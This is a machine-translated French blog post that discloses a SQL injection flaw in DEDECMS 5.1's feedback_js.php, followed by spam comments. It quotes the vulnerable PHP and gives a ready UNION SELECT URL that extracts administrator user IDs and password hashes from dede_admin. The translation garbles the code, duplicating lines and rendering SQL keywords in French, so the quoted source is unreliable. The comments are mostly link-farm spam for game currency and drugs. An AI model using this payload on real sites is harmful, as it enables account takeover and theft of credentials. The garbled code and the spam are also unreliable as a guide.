DEDECMS 5,1 feedback_js.php 0day-0 jours, DEDECMS, DEDECMS 5.1, feedback_js.php, l'injection, le message St0P-blog de l '

DEDECMS 5,1 feedback_js.php 0day

Cette entrée a été posté le 11 octobre 2009

Auteur: message St0P Rainy'Fox
Reproduit s'il vous plaît indiquer la source: http://bbs.erpangzi.com/ http://www.st0p.org

Cette vulnérabilité est trouvé et Rainy'Fox est également disponible dans le cas magic_quotes_gpc = off

Version vulnérabilité: Condo articles 5.1
Cela pourrait être exploité pour obtenir le compte d'administrateur dans le fond et chiffrer le hachage, les failles existent fichier plus / feedback_js.php, les paramètres non filtrés de arcurl $

  ......
 0 ; Urlindex $ = 0;
 empty ( $arcID ) ) if (empty ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> DSQL -> getOne ("select id De` # @ __ cache_feedbackurl `où url = '$ arcurl'");
        / / Ici $ arcurl pas de filtre
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) urlindex $ = $ row ['id'];
       / / Présenter les résultats mis cession urlindex $ pour une requête à l'$ row ['id'], nous pouvons construire des instructions SQL dans le fonctionnement suivant
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ ARCID) && empty ($ urlindex)) exit ();
 / / Si ARCID $ est vide ou urlindex $ exit vide
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ArcID est vide, juste au-dessus des résultats de la mise en œuvre sera affecté à wq $ dans les opérations suivantes effectuées.
 = " aid=' $arcID ' " ; else $ wq = "aid = '$ ARCID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "select * from` # @ __ rétroaction `où $ wq et ischeck = '1 'order by dtime desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Regardez l'utilisation de, hey, fermé j'utilise deux l'union

Une

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT "et de 1 = 2 UNION SELECT 1,1,1, userid, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 de dede_admin où 1 = 1 union select * from dede_feedback où 1 = 2 et'' = '"à partir dede_admin où'' ='

Hélas, même et Rainy'Fox ce type de test pour trouver la cible quand il a réellement dit peut être à la = magic_quotes_gpc sur le moment où grâce à cette idée .... trop YD .. trop terrible, vraiment atteindre cet réseau du secteur devrait le chaos, beaucoup de programmes sont par défaut dans PHP magic_quotes_gpc est désactivée, fera appel de leur part propre évasion ... vous ne pouvez vraiment atteindre, c'est le cauchemar du programme PHP ...

En savoir · Les arts martiaux Cheats

Réponses 348 à "DEDECMS 0day 5,1 feedback_js.php"

Par хостинг sur 19 novembre 2009 | Répondre
zelo intiresno, hvala
Le par AKfour seven sur 1 décembre 2009 | Répondre
Je suis ici aujourd'hui humble par la tâche avant le [url = http://www.bawwgt.com] kamas dofus [/ url], reconnaissant pour la confiance que vous m'avez témoignée et conscient des sacrifices consentis par notre [url = http:/ / www.bawwgt.com] dofus kamas pas cher [/ url]. Je remercie le président [url = http://www.bawwgt.com] power leveling dofus [/ url] pour son service à [url = http://www . bawwgt.com] acheter kamas dofus [/ url], ainsi que la générosité et la coopération dont il a montré tout au long de cette transition.
Le par wsewtoexg sur 3 décembre 2009 | Répondre
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Par Tedy sur 5 décembre 2009 | Répondre
Seuls les 34 jours avant DOFUS 2.0 2e! Décembre sera ici avant que nous sachions [url = http://www.bawwgt.com/fr] kamas dofus [/ url]. Le [url = http://www.bawwgt.com / fr] Kamas Dofus Moins cheurs [/ url], chaque joueur va découvrir une toute nouvelle expérience DOFUS. [url = http://www.bawwgt.com/fr] acheter des dofus kamas [/ url] doivent se contenter de la des rapports et des forums. Même si [url = http://www.bawwgt.com/fr] achat kamas dofus [/ url], il ¡ ¯ s toujours quelques-uns de nos joueurs chers dans les forums.
En acheter strattera sur le 13 décembre 2009 | Répondre
il s'agit d'une nouvelles cool. Je vous remercie.
Le par Seengart sur le 14 décembre 2009 | Répondre
hein ... informative le style ..
Par Natasha-web sur le 16 décembre 2009 | Répondre
Vdaka za zaujimavy Blog
Le ConradSimone par le 8 mars 2012 | Répondre
Eh bien c'est l'amour indeed.Would très intéressant de lire un peu plus de ce. Admirez les précieuses informations que vous offrez dans vos articles.
Le Conrad par Simone